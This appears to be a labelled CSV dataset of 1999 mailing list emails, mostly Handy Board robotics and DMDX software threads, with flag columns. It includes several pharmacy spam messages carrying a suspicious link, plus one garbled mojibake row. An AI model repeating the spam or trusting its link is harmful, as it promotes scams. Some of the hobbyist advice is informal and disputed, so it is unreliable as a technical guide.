-------------------------------------------------------------------------------- ",0,0 BART_SCHRIJVER@HP-Sonoma-om2.om.hp.com,satishmk@email.cas.american.edu,"Thu, 10 Jun 1999 10:32:46 -0700",Re: Hi," Satish: The fact that the red and green leds in the lower left corner do not light up and than shut off after ~1/3 sec. means that your board does not reset and goes into download mode. This is the reason why the downloader states: ""Wrong Port or board mode"". Rechargeable NiCad's are only 1.2V per cell and regular or Alkaline batteries are 1.5V per cell. So 8 cells of Nicad's translates to 9.2 V total and 8 cells of regulars is: 12V total. The handyboard design is such that when power is applied with a wall adapter it tries to trickle charge the NiCad's if they are hooked up. I do not think it is wise to hook up regular batteries since they cannot be recharged plus they try to ""fight"" the charging circuit. Between the batteries and the HB circuit their are two regulators, one dedicated to keep the 62256 SRAM powered and one for the rest of the board, so this may have protected sensitive components. The HB buy the way will run without batteries hook up and just with the wall adapter plugged in. I would start by removing all CMOS components from their sockets including the 68HC11 (may be difficult to get out of socket), of course you cannot remove the address latch since it is soldered underneath the RAM, so be careful with ESD. Then power your board with just the wall adapter and check out the +5V rail throughout the board. If this checks out replace all part and just use the wall adapter, no batteries. You may already have fried some parts though, either trough statics or over power. Also, which parts get hot? You said board gets heated, but which part? Hope this helps out, let me know what gives. Bart Schrijver. P.S. For ______________________________ Reply Separator _________________________________ Subject: Hi Author: Non-HP-satishmk (satishmk@email.cas.american.edu) at HP-PaloAlto,mimegw2 Date: 6/10/99 9:23 AM Thursday, 10th day of June, 1999, 12:18 AM, EST. Hi, I recently joined the HB club by buying a pre assemebled HB. I soldered the battery pack terminals to the HB (yes I checked the +ve and -ve terminals). However, when I try to follow the instructions of downloading the .s19 file, I get ""Wrong Port or board mode"". Also, I noticed that the board gets heated and when I switch the board to download mode, the LEDs don't blink for 1/3 second. Could somebody tell me what I could be doing wrong? Could it be because I am using regular batteries instead of recharables? Thanks, -SAtish. -------------------------------------------------------------------------------- Fortune cookie for the mail...generated automatically by the server. The light at the end of the tunnel is the headlight of an approaching train. -------------------------------------------------------------------------------- ",0,0 DjKOz97@aol.com,handyboard@media.mit.edu,"Thu, 10 Jun 1999 14:13:35 -0400",Re: Hi,"I don't know if the code gets corrupted, but the LED's do not do what they are supposed to do in download mode once in a while. Regardless of the lighting of the LED's, I am still able to download the code into my handyboard and keep on 'botting! When I first got my handyboard I spent a couple hours trying to figure out which com port to use ( I got the message ""Wrong port or board mode"" ). Make sure you check to see if your'e on the correct com port before checking to see if there is a problem with your handyboard. Also, If you try downloading to the handyboard from different computers, note that the com port may be different. ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 10 Jun 1999 16:40:23 -0700",[DMDX] oops," Looks like the last fix to the DigitalVox killed both it and the RecordVocal devices, stay tuned for 1.1.02... -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Where in the world does the guy who has everything put it? ",0,0 Eat Bugs! ,Handyboard list ,"Thu, 10 Jun 1999 17:38:58 -0400",EEPROM burner,"I apologize for this to those who mind. It *is* a bit off topic, but I have tried all other avenues available to me with no luck. I'm looking for a person who has an EEPROM burner or the schematic for one (If I had the schematic I would build one and be happy, but I've been unsuccessful finding one). If there is anyone out there who has an EEPROM burner and who wouldn't mind burning a couple chips for me, please contact me off list. I would send you the chips and some form of payment (money, I have a CD ROM burner, electronics parts, etc.). Of course, plans/schematic would be optimum and less of a hassle for you. Thanks all. -- _______________________________________________________________________ Jonathan Pennington | -Anthropologist/Geologist Charleston, SC | -Linux User and Advocate Email at jwp(at)awod.com | 83 V45 Magna (I'm thinking!) root@localhost (Spambot food) | 71 Triumph TR6C ""Pieces"" ----------------------------------------------------------------------- ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 11 Jun 1999 16:01:51 -0700",[DMDX] 1.1.02," Using the DigitalVox by itself is still broken and is going to require a major re-write on account of DirectSoundCapture not functioning in a consistant way (the buffer position doesn't reset to zero when stopped and can't be set to zero as near as I can tell unless you let the buffer run to full duration as it does with RecordVocal). So use it in conjunction with RecordVocal for now. The subtle display error we're tracking in Ken's lab is proving a very elusive thing to replicate so it's still in there too, it's likely to be machine dependant (and item file and everything else dependant) so shouldn't cause anyone else trouble. 1.1.02 fixed frame with E switch by itself not being displayed, used strrchr for filename extension changing, command line switch for subject ID (-subjid), RecordVocal RT cue added (so you can see the RT easily when looking at the wave files) -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Where in the world does the guy who has everything put it? ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Fri, 11 Jun 1999 18:09:25 -0700",[DMDX] command line DMDX," A couple of people already use batch files to process DMTG data files and several others have been wanting to do similar sorts of things with DMDX. Unfortunately a batch file doesn't wait for DMDX to terminate, with the addition of the -subjid command line parameter (in 1.1.02) and a little win32 gem below it is now possible. With a batch file constructed along the following lines you can store data files produced by subject ID: start /wait dmdx.exe -subjid %1 -run itemfile.rtf mkdir %1 move itemfile*.wav %1 move itemfile.azk %1 -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""To YOU I'm an atheist; to God, I'm the Loyal Opposition."" - Woody Allen ",0,0 Dominick Hobson ,handyboard@media.mit.edu,"Fri, 11 Jun 1999 20:41:55 -0100",All products for your health!,"http://krcrnu.cakelynx.info/?35873001 Suffering from pain, depression or heartburn? We'll help you! All verified dr@gs collected at one LICENSED online store! Great choice of wonderful meds to give you long-awaited relief! Operative support, fast shipping, secure p@yment processing and complete confidentiality! The store is VERIFIED BY BBB and APPROVED BY VISA! http://krcrnu.cakelynx.info/?35873001 ",1,1 �� �Ｎ ,handyboard@media.mit.edu,"Sat, 20 Feb 1932 22:57:00 +0000",�ȳ��ϼ��� ��ٷ� ��û�� �ٷ��Ա� ��ī����,������ ������  �� ��  ���������� ������    ������ ������ �������� ���������� ������������    ����������  �������� ��������  99.99% ����    ������ �� ���������� ���� �������� ����    ������ ������ ���������� ������,1,1 Jeffrey Bowers ,DMDX@psy1.psych.arizona.edu,"Sat, 12 Jun 1999 15:32:28 +0100",[DMDX] Re: Re:,"Jonathan, DMDX is leaving stray marks on the screen when I'm displaying text to the left and right of a fixation mark.  Everything works find for a while, but at an apparently random point in the experiment these marks appear on the screen.  Here is a section of the code (I added the and in an attempt to fix the problem, but this did not help -- not really sure I know what the latter command does,but gave it a try): n148 s64 f12 $0 �press right shift key if word contains the letter d, and the left key otherwise�; +255 �+� /*x370 �DREAD�/; -255 �+� /*x225 �sky�/; +255 �+� /*x370 �david�/; +255 �+� /*x370 �ROAD �/; -255 �+� /*x225 �table�/; +255 �+� /*x370 �RED�/; Basically, the code just continues like this.  Of course, if it would help, I can send you the entire code. Thanks so much, jeff Jeffrey Bowers University of Bristol Department of Experimental Psychology 8 Woodland Road Bristol BS8 1TN England Tel: 44 117 928 8573 Fax: 44 117 928 8588",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Sat, 12 Jun 1999 08:45:38 -0700",[DMDX] Re: stray pixels,"(a) that address is a listerv, you're sending the mail to more people than just me :) (b) you've got HTML turned on in your mail program which as you can see below causes Eudora to spew all over the place. (c) you've got some kinda of attachment thing turned on in your mail program which is actaully malformed, you might want to turn that of as well. (d) and a subject is nice for the archive, like ""stray pixels"". What you should do is to remove scrambling from your item file and see if the stray pixels turn up after the same item or whether it is in fact some kind of random affair. If it is random then you should observe your presentation sequence very closely and see if the order of frames has been corrupted, if so then you are facing the same error I am trying to solve in Ken's lab right now. If it always occurs at a given point then you should decide to which side the stray pixels are occuring, the left, top, right or bottom and then you should increase the appropriate number in the keyword by some small amount, for example if you notice that the pixels are being left at the left edge of the frame then an is ok, if at the top an might be required, if at the right . At 03:32 PM 6/12/99 +0100, you wrote: > <><> in an attempt to fix the problem, but this did not help -- not >really sure I know what the latter command does,but gave it a try): > > <><> > $0 �press right shift key if word contains the letter d, and the left key >otherwise�; > > +255 �+� /*x370 �DREAD�/; > -255 �+� /*x225 �sky�/; > +255 �+� /*x370 �david�/; > +255 �+� /*x370 �ROAD �/; > -255 �+� /*x225 �table�/; > +255 �+� /*x370 �RED�/; > > Of course, if it would help, I can send you the entire code. > > Thanks so much, > > jeff > Jeffrey Bowers University of Bristol Department of Experimental Psychology >8 Woodland Road Bristol BS8 1TN England > Tel: 44 117 928 8573 Fax: 44 117 928 8588 > Send mail to >DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by >itself with no quotes in the body of the email and Ken will then >remove you from the list at his earliest convenience. The list >archive is available here: >http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""To YOU I'm an atheist; to God, I'm the Loyal Opposition."" - Woody Allen",0,1 raj k ,handyboard@media.mit.edu,"Sat, 12 Jun 1999 16:25:48 -0700",Question about interrupt driven serial port input queue available for testing,"Hi pals, I downloaded the package for interupt driven serial queue from the website (http://www.cs.umd.edu/~monte/hbgoodies/) . I tried to run the demonstration file as instructed. But i didn't understand which communication application should be used for this purpose. Can any one please help me in chooseing the application. Deeply appreciate your help. thanks, raj _________________________________________________________ Do You Yahoo!? Get your free @yahoo.com address at http://mail.yahoo.com ",0,1 Glashans ,HandyBoard List ,"Sun, 13 Jun 1999 13:56:15 +0200",Precision Resistor?,"lynneg@dbn.lia.net Hi, I'm trying to build a HandyBoard up from scratch and am having a few problems with certain parts. Very few companies sell the 3.83K presision resistor (R4) or only at an extremely high prices. Would it be possible to replace it with a 3.9K 1% ? Thanks Ross ",0,0 """K.L.McKinnon"" ",Glashans ,"Sun, 13 Jun 1999 09:32:37 -0400",Re: Precision Resistor?,"I actually used a small 5K POT (precision, multiturn), and tuned the output for 38 KHz. Hope it helps. K.L. McKinnon Glashans wrote: > > lynneg@dbn.lia.net > > Hi, > > I'm trying to build a HandyBoard up from scratch and am having a few > problems with certain parts. > Very few companies sell the 3.83K presision resistor (R4) or only at an > extremely high prices. Would it be possible to replace it with a 3.9K 1% ? > > Thanks > Ross ",0,0 Andrea M Okerholm ,handyboard@media.mit.edu,"Mon, 14 Jun 1999 09:38:17 -0400",serial,"Hi, I am also having some problems with serial communications. I am trying to send information back and forth between linux and the handyboard. I wrote a simple serial sender for linux and have been trying to send to the handyboard. I have two big problems, 1) the handyboard drops characters, but not consistently. and 2) listening for serial communictations slows the board a lot. I have not had any luck setting the baud rate on linux and i suspect that might be the source of the dropped characters. Thanks, Andrea ",0,0 Juergen15@aol.com,handyboard@media.mit.edu,"Mon, 14 Jun 1999 11:29:03 -0400",H-bridge,"Hello, Does anyone know if there is a vendor that sells a H-bridge that is ready to be used for the Handy-board, instead of me having to wire up a National Semiconductor LMD18200. Thanks for your time guys. Juergen Lunkwitz Drexel University ",0,0 Bob Kelly ,handyboard@media.mit.edu,"Mon, 14 Jun 1999 11:32:12 -0400",Motion sensor,"Hello all, Thank you for all of your kind help in the past. Here is another question that I hope is worthy of your time... I have a motion sensor purchased from Acroname (Eltec, I forget the part number). It works, as I had written a small program to print its values to the Handyboard LCD. However, I am curious... I wouldn't expect it to need to be powered up all of the time so I wired it to a digital out on the expansion board. Do you all think that a regular ""vanilla"" C program is enough to catch any changes in the value (I would like it to be able to tell left >> right movement from right >> left)? Would this C program need to ""hog"" the processor in order to catch very quick changes in the values? Would an assembly language interrupt routine accomplish this better? Has anyone successfully implemented one of these? Any help would be appreciated. Thank you all. Bob Kelly ",0,0 Evan Noynaert ,handyboard@media.mit.edu,"Mon, 14 Jun 1999 11:13:59 -0500",IRPD sensors,"I have gotten some Infrared Proximity Detectors (IRPD), but no instructions for using them with the handyboard. These are set up with an infrared LED on each type of the sensor, and they are intended to give left/right/front detection. The program that came with them is written for a basic STAMP controller. I don't know much about the stamps, but it looks like the code alternately flashes the LED's and checks the sensors. Can anyone give me any pointers for using these with the handyboard? -- Evan Noynaert, Department of Computer Science, Mathematics, & Physics noynaert@griffon.mwsc.edu phone: 816/271-4308 fax: 816/271-4574 Missouri Western State College St. Joseph, Missouri, USA 64507 ",0,0 Gary Livick ,Evan Noynaert ,"Mon, 14 Jun 1999 09:37:32 -0700",Re: IRPD sensors,"Evan, Who is the supplier (manufacturer) of your board, and what is the part number? Gary Livick Evan Noynaert wrote: > I have gotten some Infrared Proximity Detectors (IRPD), but no > instructions for using them with the handyboard. These are > set up with an infrared LED on each type of the sensor, and > they are intended to give left/right/front detection. > > The program that came with them is written for a basic STAMP > controller. I don't know much about the stamps, but > it looks like the code alternately flashes the LED's and > checks the sensors. > > Can anyone give me any pointers for using these with the > handyboard? > > -- > Evan Noynaert, Department of Computer Science, Mathematics, & Physics > noynaert@griffon.mwsc.edu phone: 816/271-4308 fax: 816/271-4574 > Missouri Western State College > St. Joseph, Missouri, USA 64507 ",0,0 Satish Chetty ,handyboard@media.mit.edu,"Mon, 14 Jun 1999 12:34:27 -0400",Re: serial,"Monday, 14th day of June, 1999, 12:32 AM, EST. On similar note, does anybody know how I can set up the baud rate on my Win 95 machine? -Satish. On Mon, 14 Jun 1999, Andrea M Okerholm wrote: > Hi, > > I am also having some problems with serial communications. I am trying to > send information back and forth between linux and the handyboard. I wrote > a simple serial sender for linux and have been trying to send to the > handyboard. I have two big problems, 1) the handyboard drops characters, > but not consistently. and 2) listening for serial communictations slows > the board a lot. I have not had any luck setting the baud rate on linux > and i suspect that might be the source of the dropped characters. > > Thanks, > Andrea > > > ",0,0 Steve Wall ,handyboard@media.mit.edu,"Mon, 14 Jun 1999 14:00:37 -0500",Battery options?,"I was wondering what are my options for the HB battery. Would it be possible for me to get 2 battery holders each carrying 4 cells each and fill them with regular NiCad cells say, The one's they have at radio shack? Would this be a viable options to the NiCad pack that the parts list specifies, This component is quite costly to order to canada. Has anybody else done such a thing? Thank you in advance. ___________________________________________________ Steve Wall Sir Sandford Fleming college Swall@flemingc.on.ca ",0,0 DjKOz97@aol.com,"Juergen15@aol.com, handyboard@media.mit.edu","Mon, 14 Jun 1999 14:27:37 -0400",Re: H-bridge,"I think that the Robot Store ( www.RobotStore.com ) sells a variety of H-Bridges. I had no problem wiring up my own LMD18200's , however! As a matter of fact, I obtained 2 LMD's for free from the Natinal Semiconductor Website through their sample request. Dave ",0,0 """Curt Mills, WE7U"" ",Steve Wall ,"Mon, 14 Jun 1999 12:57:25 -0700",Re: Battery options?,"On Mon, 14 Jun 1999, Steve Wall wrote: > I was wondering what are my options for the HB battery. Would it be > possible for me to get 2 battery holders each carrying 4 cells each > and fill them with regular NiCad cells say, The one's they have at > radio shack? Would this be a viable options to the NiCad pack that > the parts list specifies, This component is quite costly to order to > canada. Has anybody else done such a thing? Should work fine. If you use the ""Zap"" charge mode, make sure the NiCad's are designed to work on fast charging. Some are, some aren't. Also, make sure you buy them and dispose of them as a set. If you start mixing and matching NiCad's, you'll often end up shorting the ones that are of less capacity (less capacity due to age, number of charge/discharge cycles, etc). Be careful about putting alkaline's in by mistake. You might have leakage, outgassing, or possibly a battery explosion if you try to run the charger on them, and the voltage is higher out of an alkaline cell than a NiCad as well. Curt Mills, WE7U hacker.NO_*SPAM@tc.fluke.com Senior Methods Engineer/SysAdmin ""Lotto: A tax on people who are bad at math."" -- unknown ""Windows: Microsoft's tax on computer illiterates."" -- WE7U ",0,0 Matt Austin ,raj k ,"Mon, 14 Jun 1999 21:24:43 +0100",Re: Question about interrupt driven serial port input queue available for testing,"raj, I assume you could use windoze Hyper-terminal. Matt -----Original Message----- From: raj k To: handyboard@media.mit.edu Date: 13 June 1999 00:35 Subject: Question about interrupt driven serial port input queue available for testing >Hi pals, > I downloaded the package for interupt driven serial queue >from the website (http://www.cs.umd.edu/~monte/hbgoodies/) >. I tried to run the demonstration file as instructed. But i didn't >understand which communication application should be used for this >purpose. Can any one please help me in chooseing the application. >Deeply appreciate your help. > >thanks, >raj > >_________________________________________________________ >Do You Yahoo!? >Get your free @yahoo.com address at http://mail.yahoo.com > >",0,1 raj k ,Matt Austin ,"Mon, 14 Jun 1999 16:14:29 -0700",about interrupt driven serial port input queue available for testing,"Thank you mat for your advice. But i coudn't under stand what should i do with the dial-up that is required for the hiperterminal connection. With out establishing a conection i can't use hyper terminal i guss. Could you please give some detailed information about how to use the hyper terminal with interupt control queue. Thanks , i appreciate your help Raj --- Matt Austin wrote: > raj, > I assume you could use windoze Hyper-terminal. > Matt > > -----Original Message----- > From: raj k > To: handyboard@media.mit.edu > > Date: 13 June 1999 00:35 > Subject: Question about interrupt driven serial port > input queue available > for testing > > > >Hi pals, > > I downloaded the package for interupt > driven serial queue > >from the website > (http://www.cs.umd.edu/~monte/hbgoodies/) > >. I tried to run the demonstration file as > instructed. But i didn't > >understand which communication application should > be used for this > >purpose. Can any one please help me in chooseing > the application. > >Deeply appreciate your help. > > > >thanks, > >raj > > > >_________________________________________________________ > >Do You Yahoo!? > >Get your free @yahoo.com address at > http://mail.yahoo.com > > > > > > _________________________________________________________ Do You Yahoo!? Get your free @yahoo.com address at http://mail.yahoo.com",0,1 lroska ,raj k ,"Mon, 14 Jun 1999 20:58:59 -0400",Re: about interrupt driven serial port input queue available for testing,"Just configure your Hyper terminal to use dirrect connection to COM 1 or 2 instead of the modem! raj k wrote: > > Thank you mat for your advice. But i coudn't under stand what should i > do with the dial-up that is required for the hiperterminal connection. > With out establishing a conection i can't use hyper terminal i guss. > Could you please give some detailed information about how to use the > hyper terminal with interupt control queue. > > Thanks , > i appreciate your help > Raj > > --- Matt Austin wrote: > > raj, > > I assume you could use windoze Hyper-terminal. > > Matt > > > > -----Original Message----- > > From: raj k > > To: handyboard@media.mit.edu > > > > Date: 13 June 1999 00:35 > > Subject: Question about interrupt driven serial port > > input queue available > > for testing > > > > > > >Hi pals, > > > I downloaded the package for interupt > > driven serial queue > > >from the website > > (http://www.cs.umd.edu/~monte/hbgoodies/) > > >. I tried to run the demonstration file as > > instructed. But i didn't > > >understand which communication application should > > be used for this > > >purpose. Can any one please help me in chooseing > > the application. > > >Deeply appreciate your help. > > > > > >thanks, > > >raj > > > > > >_________________________________________________________ > > >Do You Yahoo!? > > >Get your free @yahoo.com address at > > http://mail.yahoo.com > > > > > > > > > > > > _________________________________________________________ > Do You Yahoo!? > Get your free @yahoo.com address at http://mail.yahoo.com",0,1 Robert Denn ,handyboard@media.mit.edu,"Tue, 15 Jun 1999 11:54:30 +0700",Inductor,"Hi, I see the HB circuit and found the 1uH that connect the GND Batteries and GND. I want to know the purpose of this inductor. Can I replace it with other value or not use it . Thanks ",0,0 BART_SCHRIJVER@HP-Sonoma-om2.om.hp.com,denn@technologist.com,"Tue, 15 Jun 1999 09:41:31 -0700",Re: Inductor," Denn: If I am not mistaken, and please correct me if I am wrong (anybody), but I think the inductor is in the circuit to protect the NiCd battery pack and rest of circuit against possible reverse electro-mechanical induction by the DC motors. Motor power is on the unregulated side of the power circuit. A DC motor is to convert DC power into mechanical energy, but it can also do the reverse, in this case the polarity would be opposite and be harmful to the battery pack. An inductor has an impedance that rises with frequency, so at f=infinity Z=high and at f=0 (DC) Z=0. So if the motor generate electricity the coil will short them out to ground and makes them stop as soon as power is removed by the L293D. IC has PWM routines in it to regulate power to the motor, so there will be a lot of on/off transitions, which can (and will) cause electro-mechanical induction. If you plan to use motors on your handyboard, you should use a coil to protect your circuit and battery against this phenomenon and the value is probably chosen based on the PWM frequencies and I would stay close to this value. Best regards, Bart Schrijver. ______________________________ Reply Separator _________________________________ Subject: Inductor Author: Non-HP-denn (denn@technologist.com) at HP-PaloAlto,mimegw2 Date: 6/14/99 9:54 PM Hi, I see the HB circuit and found the 1uH that connect the GND Batteries and GND. I want to know the purpose of this inductor. Can I replace it with other value or not use it . Thanks ",0,0 Peter ,handyboard@media.mit.edu,"Tue, 15 Jun 1999 08:50:18 -0400",any health problems?,Vlagra Clails Levltra Xamax Valilum Tamlflu Somma MUCH MORE CiIck__here_and_justt_get_what_you_need,1,1 Satish Chetty ,handyboard@media.mit.edu,"Tue, 15 Jun 1999 12:43:15 -0400",Re: Inductor,"Tuesday, 15th day of June, 1999, 12:41 AM, EST. Bart, You are right, but I also heard that HB is designed to take care of reverse emf WITHOUT a induction coil. The board is protected. -Satish. -------------------------------------------------------------------------------- Fortune cookie for the mail...generated automatically by the server. ""Die? I should say not, dear fellow. No Barrymore would allow such a conventional thing to happen to him."" -- John Barrymore's dying words -------------------------------------------------------------------------------- On Tue, 15 Jun 1999 BART_SCHRIJVER@HP-Sonoma-om2.om.hp.com wrote: > Denn: > > If I am not mistaken, and please correct me if I am wrong (anybody), > but I think the inductor is in the circuit to protect the NiCd battery > pack and rest of circuit against possible reverse electro-mechanical > induction by the DC motors. > > Motor power is on the unregulated side of the power circuit. > > A DC motor is to convert DC power into mechanical energy, but it can > also do the reverse, in this case the polarity would be opposite and > be harmful to the battery pack. > > An inductor has an impedance that rises with frequency, so at > f=infinity Z=high and at f=0 (DC) Z=0. > > So if the motor generate electricity the coil will short them out to > ground and makes them stop as soon as power is removed by the L293D. > IC has PWM routines in it to regulate power to the motor, so there > will be a lot of on/off transitions, which can (and will) cause > electro-mechanical induction. > > If you plan to use motors on your handyboard, you should use a coil to > protect your circuit and battery against this phenomenon and the value > is probably chosen based on the PWM frequencies and I would stay > close to this value. > > Best regards, Bart Schrijver. > > > ______________________________ Reply Separator _________________________________ > Subject: Inductor > Author: Non-HP-denn (denn@technologist.com) at HP-PaloAlto,mimegw2 > Date: 6/14/99 9:54 PM > > > Hi, > I see the HB circuit and found the 1uH that connect the GND Batteries and > GND. > I want to know the purpose of this inductor. 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Has anyone successfully implemented one of these? Any help would be appreciated. Thank you all. Bob Kelly ",0,0 Ethan Getz ,handyboard@media.mit.edu,"Wed, 16 Jun 1999 10:26:42 -0700",6500 sonar,"Does anybody know where I can get the Texas Instrument TL851CN and SN28784N chips. I found some on the web but I had to order 50 of them at 3$ a piece. Does this mean that I have to order the Polaroid 6500 Ranging Module for 34$ through Acroname. Ethan Getz Albuquerque NM _______________________________________________________________ Get Free Email and Do More On The Web. Visit http://www.msn.com ",0,1 Matt Grob ,Stefano Falconetti ,"Wed, 16 Jun 1999 10:28:06 -0700",Re: Radio Modem," Here is an nice summary of a variety of wireless data products: http://hydra.carleton.ca/info/wlan.html I have used metricom modems to control robots and have had good success with them. They are not terribly inexpensive but work well and have a link budget sufficient to cover reasonable distances, include some degree of building penetration. -Matt On Wed, 16 Jun 1999, Stefano Falconetti wrote: > > > Hi, > > I'm looking for a radio modem or something like that, > does anyone know where one -not very expensive- can be found ? > > Thanks > > Stefano > > > > ",0,1 Ethan Getz ,handyboard@media.mit.edu,"Wed, 16 Jun 1999 10:36:54 -0700",Expansion Board,"Does anybody know how to get the expansions board servo outputs to work. I tried calling the function but I'm not sure if I have the correct programs loaded into the handyboard. _______________________________________________________________ Get Free Email and Do More On The Web. Visit http://www.msn.com ",0,1 MAR ERICSON ,Ethan Getz ,"Wed, 16 Jun 1999 15:20:04 -0400",Re: Expansion Board,"Did you try something like init_servo0(1) {I'm not sure I got the syntax correctly}. It enables the specifice servo output to function. ----------- ericson mar Robotics Consultant mar@cooper.edu (212)353-4356 Department of Mechanical Engineering The Cooper Union for the Advancement of Science and Art ------------------------------------------------------- On Wed, 16 Jun 1999, Ethan Getz wrote: > Does anybody know how to get the expansions board servo outputs to work. I > tried calling the function but I'm not sure if I have the correct programs > loaded into the handyboard. > > > _______________________________________________________________ > Get Free Email and Do More On The Web. Visit http://www.msn.com > ",0,1 Steve Wall ,handyboard@media.mit.edu,"Wed, 16 Jun 1999 16:10:25 -0500",IC Bible?,"Where can I get the best IC manual there is? ___________________________________________________ Steve Wall Sir Sandford Fleming college Swall@flemingc.on.ca ",0,0 rmtmd ,"Ethan Getz , handyboard@media.mit.edu","Wed, 16 Jun 1999 13:39:29 -0700",Re: Expansion Board,"Did you initialize them? You have to issue the initialization command to turn them on. init_expbd_servos(ON) (where ON=1) init_expbd_servos(OFF) (where OFF=0) turns them off Then give the servo a positioning command. servo(x) = y (where x is servo output 0 - 5; y is a Pulse Width Modulation value for positioning the servo, varies with the servo you use) Ross M. Tonkens, M.D. Medical Director Primary Care of Nevada 100 North Green Valley Parkway Suite 240 Henderson, NV 89014 702 914-7120 VOICE 702 914-7129 FAX Ethan Getz >Does anybody know how to get the expansions board servo outputs to work. I >tried calling the function but I'm not sure if I have the correct programs >loaded into the handyboard. > > >_______________________________________________________________ >Get Free Email and Do More On The Web. Visit http://www.msn.com > ",0,1 Eric Schlemann ,jcberk@mit.edu,"Wed, 16 Jun 1999 16:53:43 -0400","3/29/99UA Council Meeting 3/29/99 Minutes I. Introduction and Roll Call A. Ryan Pierce calls meeting to order at 8:13 PM 1. 24 present and 8 absent (voting members) II. Class Council & Committee Reports A. 2000 1. Battle of classes get plaque engraved, T-shirts 2. time capsule B. 2001 1. > 900 rings sold = will get them on a ring cruise 2. finals breakfast C. 2002 1. Community service event & studybreaks D. SCEP 1. Honor Role - SCEP votes to allow take home term exams a. piece-wise implement b. communications to faculty comm 2. March 17 faculty meeting a. communications requirement with cup b. making F.E.E optional E. CSL 1. Battle of the Classes a. whole week & Friday field day b. Monday- Loom c. Tues.- penny wars d. Wed- ? e. Thurs-pajama-coffee day f. volleyball, ultimate frisbee, relay races, ice sculptures F. CHO 1. founders group came to last meeting 2. saw plans so continuing to work w/ them 3. campus preview weekend 4. 10pm on April 5th next meeting* G. Social Committee 1. Busta-Rhyms = over 700 today 2. By @ The Source H. NomComm 1. good turnout and high quality 2. only 1 committee under #'s = Committee on safety 3. announcements by Friday to nominees and to faculty I. Fin Board 1. April - putting together new board 2. 2 weeks from Wed, budget comp forms 3. April 28 forms are due J. ASA 1. April 12 Monday 10-250 7PM 2. Elections for 7 positions 3. Report by end of year K. Exec-Comm 1. demonstration for dinning choice successful a. non-dismissable, business @ Lobdell & Networks 2. discussion with dormcom a. improve working relationship 3. astro-turf closed -why? III. Legislation A. Finance Reform Act 1. Paul brings up point about UA working differently-change article 9 2. discussion extended 10 minutes 3. IRA- groups will suffer id they have a bad treasurer a. stress that does not support legislation 4. Sarah McDougal 5. Chris Smith - need to make it clean use get rid of reimbursement 6. Article 9 a. E) Transfer of Funds from UA account to Student Activity account shall be made by majority of council 7. Chris Smith - should be that the UA require to put in the Tech Calendar 8. Amended to published - campus wide calendar, should it exist 9. Systems of Consequence-what will they be? need to be defined before we get into trouble a. left these to finboard discretion 10. Ira will student have to come student center to use? 11. retro-active funding? 12. auxiliary fund- Paul would like to strike auxiliary-not seconded 13. Motion to vote needs 2/3 majority 14. motion to divide the question (Chris Smith) not second 15. vote a. 15-4-1 B. Financial Accountability Act 1. Makes finboard ""unwritten"" policies changeable by council 2. concerns- it is not moot legislation? 3. not simply a council committee 4. are the 2 issues related? 5. discussion extended by 5 minutes 6. alternate method - go through liaisons 7. reduces boards flexibility 8. timing- between allocations & appeals? -change section 2 9. Motion to table 16-1-1 C. No Next Act Bill 1. Pricilla King Grey award for public service 2. Turf-Closed, needs 2,7 mill $ to replace. temp fence a. Vest will give time scale 3. Dinning Follow up a. what can we still do? through reps on committees b. go to meetings 4. Dean Chancellor a. "" Students have roll in ranking funds"" come to Paul or J Jeremy 5. Orientation apps due wed pick up in 7-104 6. tool-in iltFp.mit.edu/ "," ######################################################## Eric Schlemann, Office Manager (617) 253-2696 MIT Undergraduate Association eschlema@mit.edu W20-401 fax (617) 258-0306 77 Mass. Ave. Cambridge, MA 02139 http://web.mit.edu/ua/www/index.html ######################################################## ",0,1 """Curt Mills, WE7U"" ",Steve Wall ,"Wed, 16 Jun 1999 13:58:10 -0700",Re: IC Bible?,"On Wed, 16 Jun 1999, Steve Wall wrote: > Where can I get the best IC manual there is? Gray's List is pretty good. Gives you all known links to the semiconductor manufacturers, from which you can usually obtain data sheets in PDF format, or at least get contact info for the company and request databooks. http://www.scruznet.com/~gcreager/ Curt Mills, WE7U hacker.NO_*SPAM@tc.fluke.com Senior Methods Engineer/SysAdmin ""Lotto: A tax on people who are bad at math."" -- unknown ""Windows: Microsoft's tax on computer illiterates."" -- WE7U ",0,1 orthner@idirect.com,handyboard@media.mit.edu,"Wed, 16 Jun 1999 20:03:41 -0400",Re: 6500 sonar,"At 10:26 AM 6/16/99 PDT, Ethan Getz wrote: >Does anybody know where I can get the Texas Instrument TL851CN and SN28784N >chips. I found some on the web but I had to order 50 of them at 3$ a piece. TI has a *very* liberal sample policy. Visit: www.ti.com and do a part search, then order online. Cheers, Duncan ",0,0 orthner@idirect.com,handyboard@media.mit.edu,"Wed, 16 Jun 1999 20:05:39 -0400",Re: IC Bible?,"At 01:58 PM 6/16/99 -0700, Curt Mills, WE7U wrote: >On Wed, 16 Jun 1999, Steve Wall wrote: > >> Where can I get the best IC manual there is? > > >Gray's List is pretty good. Gives you all known links to the >semiconductor manufacturers, from which you can usually obtain >data sheets in PDF format, or at least get contact info for >the company and request databooks. Did you mean Interactive C manual? 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I also checked the orientation of chips and they all seem ok. Finally I did a continuity check and that seems alright too. To all the experts out there, I'd really appreciate your help. Regards, Umar ",0,0 sakar@servidor.unam.mx,handyboard@media.mit.edu,"Thu, 17 Jun 1999 11:56:08 -0600",Memory Problem,"Has anybody use the 62256LP-10, instead the 62256LP-120. Because I use and it doen´t work, I´m starting to think, that it may be a HandyBoard problem, not a memory one. Daniel --------------------------------------------------------------------- "" `BETTER´ IS THE ENEMY OF `GOOD ENOUGH´"" --------------------------------------------------------------------- ",0,0 BART_SCHRIJVER@HP-Sonoma-om2.om.hp.com,ukhan@engr.umbc.edu,"Thu, 17 Jun 1999 10:12:56 -0700",Re: Handyboard Assembly Problems," Umar: This may sound trivial to others, but here is what I think you should do. 